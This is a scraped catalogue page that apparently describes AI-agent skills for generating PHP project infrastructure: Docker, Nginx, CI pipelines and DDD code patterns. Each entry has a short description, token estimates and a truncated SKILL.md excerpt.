- Generated Files
- Generation Instructions
- Docker Compose Development Stack
- Nginx Configuration
- Profile Usage
- Common Development Commands
- Additional Services
- Usage
Files
SKILL.mdcore6,093 bytesSKILL.mdcore6,093 bytesSKILL.mdcore6,093 bytesSKILL.mdcore6,093 bytesSKILL.mdcore6,093 bytesSKILL.mdcore6,093 bytesSKILL.mdcore6,093 bytesreferences/service-templates.mddoc5,818 bytes
Read SKILL.md
# Docker Compose Development Generator
Generates complete Docker Compose development configurations for PHP projects with database, cache, queue, mail, and debugging services.
## Generated Files
```
docker-compose.yml # Full development stack
.env.docker # Environment variables for Docker
```
## Generation Instructions
1. **Analyze project:** Read `composer.json` for database drivers, Redis, RabbitMQ, Elasticsearch; detect frameworkView the complete source on GitHubcreate-docker-compose-production
When your agent uses it
Generates Docker Compose production configurations for PHP projects. Creates hardened stacks with resource limits, restart policies, and monitoring.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
2,021 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Generation Instructions
- Docker Compose Production Stack
- Network Segmentation
- Production Deployment Commands
- Security Checklist
- Usage
Files
SKILL.mdcore7,386 bytesSKILL.mdcore7,386 bytesSKILL.mdcore7,386 bytes
Read SKILL.md
# Docker Compose Production Generator
Generates hardened Docker Compose production configurations with resource limits, restart policies, network segmentation, and logging.
## Generated Files
```
docker-compose.prod.yml # Production stack configuration
```
## Generation Instructions
1. **Analyze:** Identify services, determine resource needs, plan network segmentation, define persistence
2. **Harden:** Resource limits, restart policies, read-only root, network segmentation, log rotation, health checksView the complete source on GitHubcreate-docker-entrypoint
When your agent uses it
Generates Docker entrypoint scripts for PHP containers. Creates startup scripts with signal handling, migrations, and cache warmup.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
2,315 tokensWhen the skill is activated
Reference documents
1,143 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Web Container Entrypoint (PHP-FPM)
- Worker Container Entrypoint (Queue Consumer)
- Scheduler Container Entrypoint (Cron)
- Wait-for-it Script
- Dockerfile Integration
- Docker Compose Service Definitions
- Generation Instructions
Files
SKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesSKILL.mdcore9,113 bytesreferences/entrypoint-patterns.mddoc4,409 bytes
Read SKILL.md
# Docker Entrypoint Generator
Generates entrypoint scripts for PHP Docker containers with signal handling, service readiness, and application bootstrap.
## Generated Files
```
docker/
entrypoint.sh # Main web container entrypoint
entrypoint-worker.sh # Queue worker entrypoint
entrypoint-scheduler.sh # Cron scheduler entrypoint
wait-for-it.sh # Service readiness checker
```
View the complete source on GitHubcreate-docker-env-template
When your agent uses it
Generates Docker environment templates for PHP projects. Creates .env.docker files with service configurations and documentation.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
1,938 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Complete .env.docker Template
- .env.docker.example (safe to commit)
- .gitignore Addition
- Generation Instructions
- Usage
Files
SKILL.mdcore8,610 bytesSKILL.mdcore8,610 bytesSKILL.mdcore8,610 bytes
Read SKILL.md
# Docker Environment Template Generator
Generates documented environment variable templates for Docker-based PHP projects.
## Generated Files
```
.env.docker # Docker environment template with defaults
.env.docker.example # Committed example (no secrets)
```
## Complete .env.docker Template
```bashView the complete source on GitHubcreate-docker-healthcheck
When your agent uses it
Generates Docker health check scripts for PHP services. Creates PHP-FPM, Nginx, and custom endpoint health checks.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,759 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- PHP-FPM Health Check (cgi-fcgi based)
- HTTP Endpoint Health Check (curl-based)
- Combined Health Check Script
- Dockerfile HEALTHCHECK Instruction
- Docker Compose Health Check Format
- Dependency Wait Pattern
- Generation Instructions
- Usage
Files
SKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytesSKILL.mdcore6,475 bytes
Read SKILL.md
# Docker Health Check Generator
Generates health check scripts and configurations for PHP Docker containers.
## Generated Files
```
docker/healthcheck/
php-fpm-healthcheck.sh # PHP-FPM process health check
http-healthcheck.sh # HTTP endpoint health check
combined-healthcheck.sh # Combined multi-service check
```
## PHP-FPM Health Check (cgi-fcgi based)View the complete source on GitHubcreate-docker-makefile
When your agent uses it
Generates Docker Makefile with common commands for PHP projects. Creates build, run, test, and deployment targets.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
2,382 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Complete Makefile Template
- Generation Instructions
- Usage
Files
SKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytesSKILL.mdcore12,196 bytes
Read SKILL.md
# Docker Makefile Generator
Generates a comprehensive Makefile for managing Docker-based PHP projects.
## Generated Files
```
Makefile # Docker project management targets
```
## Complete Makefile Template
```makefile
# ──────────────────────────────────────────────────────────View the complete source on GitHubcreate-docker-nginx-config
When your agent uses it
Generates Nginx configuration for PHP-FPM Docker containers. Creates optimized reverse proxy configs with gzip, security headers, and caching.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,590 tokensWhen the skill is activated
Reference documents
1,266 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Main nginx.conf
- PHP-FPM Upstream Configuration
- Symfony Server Block
- Laravel Server Block
- Docker Compose Nginx Service
- Generation Instructions
Files
SKILL.mdcore6,228 bytesSKILL.mdcore6,228 bytesSKILL.mdcore6,228 bytesreferences/nginx-snippets.mddoc4,373 bytes
Read SKILL.md
# Docker Nginx Configuration Generator
Generates production-ready Nginx configurations for PHP-FPM Docker containers.
## Generated Files
```
docker/nginx/
nginx.conf # Main Nginx configuration
conf.d/default.conf # Server block configuration
conf.d/upstream.conf # PHP-FPM upstream definition
```
## Main nginx.confView the complete source on GitHubcreate-docker-php-config
When your agent uses it
Generates PHP configuration files for Docker containers. Creates optimized php.ini, OPcache, and PHP-FPM pool configurations.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,542 tokensWhen the skill is activated
Reference documents
2,119 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Generation Instructions
- Production php.ini
- OPcache Production Configuration
- PHP-FPM Pool Configuration
- Workload-Specific Overrides
- Docker Integration
- PHP-FPM Children Calculator
- Verification Commands
- Configuration Details
- Usage
Files
SKILL.mdcore5,521 bytesSKILL.mdcore5,521 bytesSKILL.mdcore5,521 bytesSKILL.mdcore5,521 bytesSKILL.mdcore5,521 bytesreferences/php-config-explained.mddoc7,587 bytes
Read SKILL.md
# Docker PHP Configuration Generator
Generates optimized PHP configuration files for Docker containers: `php.ini`, OPcache with JIT, and PHP-FPM pool configuration.
## Generated Files
```
docker/php/php.ini # Production PHP configuration
docker/php/opcache.ini # OPcache with JIT configuration
docker/php/php-fpm.d/www.conf # PHP-FPM pool configuration
```
## Generation Instructions
View the complete source on GitHubcreate-docker-supervisor-config
When your agent uses it
Generates Supervisor configuration for Docker PHP containers. Creates process management configs for workers, schedulers, and multi-process setups.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
2,014 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Main supervisord.conf
- PHP-FPM Program
- Queue Worker Program (Multiple Instances)
- Scheduler Program (Cron-like)
- Symfony Messenger Worker Configuration
- Laravel Queue Worker Configuration
- Dockerfile Additions for Supervisor
- Docker Compose with Supervisor
- Process Group Management
- Generation Instructions
- Usage
Files
SKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytesSKILL.mdcore7,429 bytes
Read SKILL.md
# Docker Supervisor Configuration Generator
Generates Supervisor configurations for managing multiple processes in PHP Docker containers.
## Generated Files
```
docker/supervisor/
supervisord.conf # Main Supervisor configuration
conf.d/php-fpm.conf # PHP-FPM program definition
conf.d/worker.conf # Queue worker program definition
conf.d/scheduler.conf # Scheduler program definition
```
View the complete source on GitHubcreate-dockerfile-ci
When your agent uses it
Generates optimized Dockerfiles for PHP CI pipelines. Creates multi-stage builds with separate stages for dependencies, testing, and production with minimal image sizes.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
2,713 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Multi-Stage Production Dockerfile
- CI-Optimized Dockerfile
- Development Dockerfile
- Docker Compose for CI
- .dockerignore Template
- Build Arguments
- CI Build Commands
- Generation Instructions
- Usage
Files
SKILL.mdcore10,029 bytesSKILL.mdcore10,029 bytesSKILL.mdcore10,029 bytesSKILL.mdcore10,029 bytesSKILL.mdcore10,029 bytesSKILL.mdcore10,029 bytes
Read SKILL.md
# Dockerfile CI Generator
Generates optimized Dockerfiles for PHP projects with multi-stage builds.
## Generated Files
```
Dockerfile # Production multi-stage build
Dockerfile.ci # CI-optimized build (optional)
.dockerignore # Exclude unnecessary files
```
## Multi-Stage Production Dockerfile
View the complete source on GitHubcreate-dockerfile-dev
When your agent uses it
Generates development Dockerfiles for PHP projects. Creates images with Xdebug, hot reload, and development tools.
What it loads into context
Frontmatter
31 tokensAlways available to the agent
SKILL.md
1,995 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Generation Instructions
- Development Dockerfile
- Xdebug IDE Configuration
- Docker Compose Development Stack
- Useful Development Commands
- Hot Reload Notes
- Usage
Files
SKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytesSKILL.mdcore7,538 bytes
Read SKILL.md
# Development Dockerfile Generator
Generates development-optimized Dockerfiles for PHP projects with Xdebug integration, hot reload, and developer tools.
## Generated Files
```
Dockerfile.dev # Development image with debugging tools
docker-compose.dev.yml # Development stack with volume mounts
```
## Generation Instructions
1. **Analyze project:**View the complete source on GitHubcreate-dockerfile-production
When your agent uses it
Generates production-ready Dockerfiles for PHP 8.4 projects. Creates multi-stage builds with composer deps, extensions builder, and optimized production stages.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
2,240 tokensWhen the skill is activated
Reference documents
2,229 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Generation Instructions
- Multi-Stage Production Dockerfile
- Framework Variations
- Extension Detection from composer.json
- Build Commands
- Security Checklist
- Usage
Files
SKILL.mdcore8,380 bytesSKILL.mdcore8,380 bytesSKILL.mdcore8,380 bytesreferences/laravel-dockerfile.mddoc4,495 bytesreferences/symfony-dockerfile.mddoc3,997 bytes
Read SKILL.md
# Production Dockerfile Generator
Generates production-ready, multi-stage Dockerfiles for PHP 8.4 projects with security hardening, OPcache tuning, and PHP-FPM optimization.
## Generated Files
```
Dockerfile # Production multi-stage build (3 stages)
```
## Generation Instructions
1. **Analyze project:**
- Read `composer.json` for PHP version and required extensionsView the complete source on GitHubcreate-dockerignore
When your agent uses it
Generates optimized .dockerignore files for PHP projects. Excludes tests, docs, IDE files, and development artifacts to minimize build context.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
939 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Generation Instructions
- Universal PHP .dockerignore
- Symfony-Specific Additions
- Laravel-Specific Additions
- Important Negations
- Build Context Impact
- Validation Rules
- Usage
Files
SKILL.mdcore3,579 bytesSKILL.mdcore3,579 bytesSKILL.mdcore3,579 bytesSKILL.mdcore3,579 bytesSKILL.mdcore3,579 bytesSKILL.mdcore3,579 bytes
Read SKILL.md
# .dockerignore Generator
Generates optimized `.dockerignore` files for PHP projects, reducing build context size and improving build performance.
## Generated Files
```
.dockerignore # Optimized exclusion rules
```
## Generation Instructions
1. **Detect project type:** Check for `symfony.lock` (Symfony), `artisan` (Laravel), or generic PHP
2. **Analyze existing files:** Read `.gitignore`, check CI/CD config, identify test/doc directoriesView the complete source on GitHubcreate-domain-event
When your agent uses it
Generates DDD Domain Events for PHP 8.4. Creates immutable event records with metadata, past-tense naming. Includes unit tests.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
2,539 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain Event Characteristics
- Template
- Event Metadata
- Domain Event Interface
- Common Domain Events
- Test Template
- Event Naming Conventions
- Event Data Guidelines
- Generation Instructions
- Usage
Files
SKILL.mdcore11,255 bytesSKILL.mdcore11,255 bytesSKILL.mdcore11,255 bytesSKILL.mdcore11,255 bytesSKILL.mdcore11,255 bytesSKILL.mdcore11,255 bytesSKILL.mdcore11,255 bytesSKILL.mdcore11,255 bytesSKILL.mdcore11,255 bytes
Read SKILL.md
# Domain Event Generator
Generate DDD-compliant Domain Events with metadata and tests.
## Domain Event Characteristics
- **Immutable**: `final readonly class`
- **Past tense**: Describes something that happened
- **Self-contained**: All data needed to understand what happened
- **Metadata**: Event ID, timestamp, causation/correlation IDs
- **No behavior**: Pure data, no logic
## Template
View the complete source on GitHubcreate-domain-service
When your agent uses it
Generates DDD Domain Services for PHP 8.4. Creates stateless services for business logic that doesn't belong to entities or value objects. Includes unit tests.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
2,450 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain Service Characteristics
- When to Use Domain Service
- Template
- Examples
- Test Template
- Naming Conventions
- File Placement
- Anti-patterns to Avoid
Files
SKILL.mdcore10,863 bytesSKILL.mdcore10,863 bytesSKILL.mdcore10,863 bytesSKILL.mdcore10,863 bytesSKILL.mdcore10,863 bytesSKILL.mdcore10,863 bytesSKILL.mdcore10,863 bytesSKILL.mdcore10,863 bytesSKILL.mdcore10,863 bytes
Read SKILL.md
# Domain Service Generator
Generate DDD-compliant Domain Services for business operations spanning multiple aggregates or requiring external coordination.
## Domain Service Characteristics
- **Stateless**: No internal state, operates on passed arguments
- **Domain Logic**: Contains business rules that don't fit in entities
- **Cross-Aggregate**: Coordinates multiple aggregates
- **Named by Domain Operation**: Verb-based naming (e.g., TransferMoney, CalculateShipping)
- **No Infrastructure**: Pure domain logic, no DB/HTTP calls
- **Immutable Dependencies**: Uses repository interfaces, not implementations
## When to Use Domain ServiceView the complete source on GitHubcreate-dto
When your agent uses it
Generates DTO (Data Transfer Object) for PHP 8.4. Creates immutable objects for layer boundaries, API requests/responses, and data serialization. Includes unit tests.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
967 tokensWhen the skill is activated
Reference documents
5,358 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- DTO Characteristics
- DTO Types
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,218 bytesSKILL.mdcore4,218 bytesSKILL.mdcore4,218 bytesSKILL.mdcore4,218 bytesreferences/examples.mddoc13,628 bytesreferences/templates.mddoc9,231 bytes
Read SKILL.md
# DTO Generator
Generate DTOs for transferring data between layers, API boundaries, and external systems.
## DTO Characteristics
- **Immutable**: Read-only after creation
- **No Behavior**: Pure data container, no business logic
- **Serializable**: JSON/array conversion support
- **Typed**: Strictly typed properties
- **Validated**: Input validation at creation (for requests)
- **Layer-Specific**: Different DTOs for different purposes
## DTO TypesView the complete source on GitHubcreate-entity
When your agent uses it
Generates DDD Entities for PHP 8.4. Creates identity-based objects with behavior, state transitions, and invariant protection. Includes unit tests.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,094 tokensWhen the skill is activated
Reference documents
2,337 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Entity Characteristics
- Entity Components
- Entity Design Principles
- Generation Process
- Naming Conventions
- Quick Template Reference
- Usage
- References
Files
SKILL.mdcore4,683 bytesSKILL.mdcore4,683 bytesSKILL.mdcore4,683 bytesreferences/examples.mddoc6,070 bytesreferences/templates.mddoc3,948 bytes
Read SKILL.md
# Entity Generator
Generate DDD-compliant Entities with identity, behavior, and tests.
## Entity Characteristics
- **Identity**: Has unique identifier (ID)
- **Lifecycle**: Created, modified, potentially deleted
- **Behavior**: Contains domain logic (not just data)
- **Invariants**: Protects business rules
- **State transitions**: Controlled mutations
- **No public setters**: State changed via behavior methods
## Entity ComponentsView the complete source on GitHubcreate-event-store
When your agent uses it
Generates Event Store pattern for PHP 8.4. Creates event sourcing storage infrastructure with event streams, stored events, optimistic locking, and version tracking. Includes unit tests.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
1,320 tokensWhen the skill is activated
Reference documents
4,298 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Database Schema
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,871 bytesSKILL.mdcore5,871 bytesSKILL.mdcore5,871 bytesSKILL.mdcore5,871 bytesSKILL.mdcore5,871 bytesreferences/examples.mddoc10,600 bytesreferences/templates.mddoc8,184 bytes
Read SKILL.md
# Event Store Generator
Creates Event Store infrastructure for event sourcing with aggregate history and event replay.
## When to Use
| Scenario | Example |
|----------|---------|
| Event sourcing | Aggregate state from events |
| Audit trail | Complete change history |
| Event replay | Rebuild projections from events |
| Temporal queries | Query state at any point in time |
## Component CharacteristicsView the complete source on GitHubcreate-facade
When your agent uses it
Generates Facade pattern for PHP 8.4. Creates simplified interface to complex subsystems. Includes unit tests.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
906 tokensWhen the skill is activated
Reference documents
4,944 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Facades
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore3,994 bytesSKILL.mdcore3,994 bytesSKILL.mdcore3,994 bytesreferences/examples.mddoc15,851 bytesreferences/templates.mddoc7,524 bytes
Read SKILL.md
# Facade Pattern Generator
Creates Facade pattern infrastructure for providing simplified access to complex subsystems.
## When to Use
| Scenario | Example |
|----------|---------|
| Complex subsystem simplification | Order facade combining inventory, payment, shipping |
| Multiple service orchestration | Notification facade coordinating email, SMS, push |
| Legacy system wrapping | Facade hiding complex legacy APIs |
| Layered system access | Application layer facade for domain services |
## Component CharacteristicsView the complete source on GitHubcreate-factory
When your agent uses it
Generates DDD Factory for PHP 8.4. Creates factories for complex domain object instantiation with validation and encapsulated creation logic. Includes unit tests.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
851 tokensWhen the skill is activated
Reference documents
3,616 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Factory Characteristics
- When to Use Factory
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore3,792 bytesSKILL.mdcore3,792 bytesSKILL.mdcore3,792 bytesreferences/examples.mddoc13,133 bytesreferences/templates.mddoc3,005 bytes
Read SKILL.md
# Factory Generator
Generate DDD-compliant Factories for complex domain object creation.
## Factory Characteristics
- **Encapsulates Creation**: Hides complex instantiation logic
- **Validates Input**: Ensures valid object creation
- **Named Constructors**: Provides semantic creation methods
- **Domain Layer**: Lives in Domain, no infrastructure dependencies
- **Returns Valid Objects**: Never creates invalid domain objects
- **Static or Instance**: Static for simple, instance for dependencies
## When to Use FactoryView the complete source on GitHubcreate-feature-flags
When your agent uses it
Generates feature flag implementations for PHP projects. Creates flag services, configuration, percentage rollouts, user targeting, and integration with deployment pipelines.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
750 tokensWhen the skill is activated
Reference documents
2,268 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Feature Flag Service Interface
- Feature Configuration DTO
- Generation Instructions
- Usage
Files
SKILL.mdcore3,437 bytesSKILL.mdcore3,437 bytesSKILL.mdcore3,437 bytesSKILL.mdcore3,437 bytesSKILL.mdcore3,437 bytesreferences/templates.mddoc9,812 bytes
Read SKILL.md
# Feature Flag Generator
Generates feature flag implementation for progressive deployments.
## Feature Flag Service Interface
```php
<?php
// src/Infrastructure/FeatureFlag/FeatureFlagServiceInterface.php
declare(strict_types=1);
namespace App\Infrastructure\FeatureFlag;
View the complete source on GitHubcreate-flyweight
When your agent uses it
Generates Flyweight pattern for PHP 8.4. Optimizes memory via shared intrinsic state. Includes unit tests.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
980 tokensWhen the skill is activated
Reference documents
2,782 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Flyweights
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,154 bytesSKILL.mdcore4,154 bytesSKILL.mdcore4,154 bytesSKILL.mdcore4,154 bytesreferences/examples.mddoc7,647 bytesreferences/templates.mddoc3,311 bytes
Read SKILL.md
# Flyweight Pattern Generator
Creates Flyweight pattern infrastructure for memory optimization through object sharing.
## When to Use
| Scenario | Example |
|----------|---------|
| Large number of similar objects | Icons, glyphs, particles |
| Memory constraints | Mobile apps, embedded systems |
| Immutable shared state | Currency codes, tax rates |
| Performance optimization | Reduce object creation overhead |
## Component CharacteristicsView the complete source on GitHubcreate-github-actions
When your agent uses it
Generates GitHub Actions workflows for PHP projects. Creates CI/CD pipelines with PHPStan, PHPUnit, code coverage, Docker builds, and deployment stages.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,141 tokensWhen the skill is activated
Reference documents
4,126 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Generated Files
- Workflow Components
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage
- References
Files
SKILL.mdcore4,704 bytesreferences/examples.mddoc4,975 bytesreferences/templates.mddoc10,937 bytes
Read SKILL.md
# GitHub Actions Workflow Generator
Generates optimized GitHub Actions workflows for PHP projects.
## When to Use
- Setting up CI/CD for a new PHP project
- Adding static analysis, testing, or deployment pipelines
- Migrating from other CI systems to GitHub Actions
- Optimizing existing workflow performance
## Generated Files
```View the complete source on GitHubcreate-gitlab-ci
When your agent uses it
Generates GitLab CI configurations for PHP projects. Creates pipelines with stages, caching, artifacts, parallel jobs, and deployment environments.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
342 tokensWhen the skill is activated
Reference documents
2,491 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- References
- Generation Instructions
- Usage
Files
SKILL.mdcore1,504 bytesreferences/templates.mddoc8,648 bytes
Read SKILL.md
# GitLab CI Configuration Generator
Generates optimized GitLab CI pipelines for PHP projects.
## Generated Files
```
.gitlab-ci.yml # Main pipeline configuration
.gitlab/
├── ci/
│ ├── templates.yml # Reusable templates
│ ├── lint.yml # Linting jobs
│ ├── test.yml # Testing jobs
│ └── deploy.yml # Deployment jobsView the complete source on GitHubcreate-health-check
When your agent uses it
Generates Health Check pattern for PHP 8.4. Creates application-level health endpoints with component checkers (Database, Redis, RabbitMQ), status aggregation, and RFC-compliant JSON response. Includes unit tests.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
1,417 tokensWhen the skill is activated
Reference documents
5,297 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Response Format (RFC Health Check JSON)
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore6,204 bytesSKILL.mdcore6,204 bytesSKILL.mdcore6,204 bytesSKILL.mdcore6,204 bytesSKILL.mdcore6,204 bytesreferences/examples.mddoc14,743 bytesreferences/templates.mddoc8,733 bytes
Read SKILL.md
# Health Check Generator
Creates Health Check infrastructure for monitoring application and dependency health.
## When to Use
| Scenario | Example |
|----------|---------|
| Load balancer routing | Kubernetes liveness/readiness probes |
| Monitoring | Prometheus health scraping |
| Deployment readiness | Verify all dependencies before serving traffic |
| Dependency status | Check Database, Redis, RabbitMQ availability |
## Component CharacteristicsView the complete source on GitHubcreate-idempotency-handler
When your agent uses it
Generates Idempotency Handler for PHP 8.4. Creates PSR-15 middleware with Redis-backed deduplication, IdempotencyKey value object, and storage interface. Includes unit tests.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
1,240 tokensWhen the skill is activated
Reference documents
3,261 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Request Flow
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,479 bytesSKILL.mdcore5,479 bytesSKILL.mdcore5,479 bytesSKILL.mdcore5,479 bytesSKILL.mdcore5,479 bytesreferences/examples.mddoc7,417 bytesreferences/templates.mddoc6,208 bytes
Read SKILL.md
# Idempotency Handler Generator
Creates idempotency handling infrastructure for safe request deduplication.
## When to Use
| Scenario | Example |
|----------|---------|
| Payment processing | Prevent duplicate charges on retry |
| Order creation | Avoid duplicate orders from network retries |
| Webhook handling | Deduplicate incoming webhook deliveries |
| API mutations | Ensure POST/PUT/PATCH safety on retry |
## Component CharacteristicsView the complete source on GitHubcreate-idempotent-consumer
When your agent uses it
Generates Idempotent Consumer components for PHP 8.4. Creates message deduplication infrastructure with idempotency key management, storage backends, middleware, and unit tests.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
1,378 tokensWhen the skill is activated
Reference documents
8,379 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Key Principles
- Naming Conventions
- Quick Template Reference
- Database Schema
- References
Files
SKILL.mdcore5,900 bytesSKILL.mdcore5,900 bytesSKILL.mdcore5,900 bytesSKILL.mdcore5,900 bytesreferences/examples.mddoc16,324 bytesreferences/templates.mddoc19,712 bytes
Read SKILL.md
# Idempotent Consumer Generator
Creates Idempotent Consumer pattern infrastructure for exactly-once message processing guarantees.
## When to Use
| Scenario | Example |
|----------|---------|
| Payment processing | Prevent double charges on message replay |
| Inventory updates | Avoid duplicate stock deductions |
| Event handlers | Process domain events exactly once |
| Webhook processing | Handle duplicate webhook deliveries |
| Message queue consumers | Deduplicate redelivered messages |
View the complete source on GitHubcreate-integration-test
When your agent uses it
Generates PHPUnit integration tests for PHP 8.4. Creates tests with real dependencies, database transactions, HTTP mocking. Supports repositories, API clients, message handlers.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
2,747 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Characteristics
- Template
- Base Test Case
- Test Patterns by Component
- Database Setup Options
- Generation Instructions
- Usage
Files
